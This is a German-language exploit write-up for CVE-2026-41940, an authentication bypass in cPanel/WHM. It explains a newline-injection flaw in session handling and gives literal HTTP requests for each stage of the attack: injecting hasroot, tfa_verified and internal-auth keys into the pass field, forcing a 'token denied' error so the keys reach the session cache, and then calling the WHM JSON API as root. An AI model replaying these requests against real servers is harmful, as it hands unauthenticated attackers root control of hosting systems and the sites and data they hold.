
Exploit für CVE-2026-41940, eine Authentifizierungsumgehung in cPanel/WHM, die es nicht authentifizierten Angreifern ermöglicht, über Session-Injection und JSON-Cache-Promotion Root-Zugriff zu erlangen.
CVE-2026-41940 ist eine kritische Schwachstelle zur Authentifizierungsumgehung in cPanel & WHM, die alle derzeit unterstützten Versionen betrifft. Sie ermöglicht es einem nicht authentifizierten Angreifer, die Authentifizierung zu umgehen und Root-Zugriff (WHM) oder Benutzerzugriff (cPanel) zu erlangen.
Die Schwachstelle beruht auf zwei Hauptproblemen in Cpanel/Session.pm:
saveSession: Die Funktion saveSession hat die Eingabe vor dem Schreiben in die Sitzungsdatei auf der Festplatte nicht ordnungsgemäß bereinigt. Insbesondere wurden Zeilenumbruchzeichen (\n) aus dem Feld pass nicht entfernt.pass in der Sitzungsdatei wird normalerweise mit einem pro Sitzung gültigen Geheimnis (ob) verschlüsselt. Wenn das Sitzungscookie jedoch nicht den Teil ob (den Teil nach dem Komma) enthält, wird die Kodierung übersprungen und der Wert von pass im Klartext geschrieben.Die Ausnutzung ist ein mehrstufiger Prozess:
Senden Sie einen fehlgeschlagenen Anmeldeversuch, um die Erstellung einer Sitzungsdatei auf der Festplatte auszulösen.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
Der Server antwortet mit einem whostmgrsession-Cookie, z. B. whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
Senden Sie eine weitere Anfrage mit dem Sitzungscookie, aber entfernen Sie den Teil ob (das Komma und alles danach). Injizieren Sie im Feld pass die gewünschten Sitzungsschlüssel mithilfe von Zeilenumbrüchen.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
Da der Teil ob fehlt, schreibt cpsrvd den Wert von pass unkodiert. Die injizierten Zeilenumbrüche führen dazu, dass die nachfolgenden Zeilen als separate Schlüssel-Wert-Paare in der Roh-Sitzungsdatei interpretiert werden.
cPanel verwendet einen JSON-Cache für Sitzungen. Die Roh-Injektion befindet sich nur in der Textdatei. Um sie „aktiv“ zu machen, müssen wir cPanel zwingen, die Rohdatei erneut zu lesen und den JSON-Cache zu aktualisieren. Dies kann durch das Auslösen eines „Token Denied“-Fehlers auf einem Endpunkt erfolgen, der Cpanel::Session::Modify verwendet.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Das fehlende Sicherheitstoken in der URL löst do_token_denied aus, das Cpanel::Session::Modify verwendet, um den Zähler token_denied zu aktualisieren. Modify liest die Rohdatei (unter Umgehung des Caches) und schreibt dann sowohl die Rohdatei als auch den JSON-Cache, wodurch unsere injizierten Schlüssel effektiv auf die oberste Ebene des JSON-Caches befördert werden.
Nun ist die Sitzung in den Augen von cPanel vollständig „authentifiziert“. Der Schlüssel successful_internal_auth_with_timestamp umgeht die Prüfung von /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Das [TOKEN] kann aus dem Feld cp_security_token in der Sitzung abgerufen werden, das häufig in der „Token Denied“-Antwort zurückgegeben wird oder durch Untersuchung des Verhaltens des Sitzungscookies gefunden werden kann.
tfa_verified=1: Umgeht die Zwei-Faktor-Authentifizierung.hasroot=1: Gewährt Root-Rechte in WHM.successful_internal_auth_with_timestamp=[TIMESTAMP]: Umgeht die tatsächliche Passwortprüfung gegen die System-Shadow-Datei.user=root: Setzt den Sitzungsbenutzer auf root.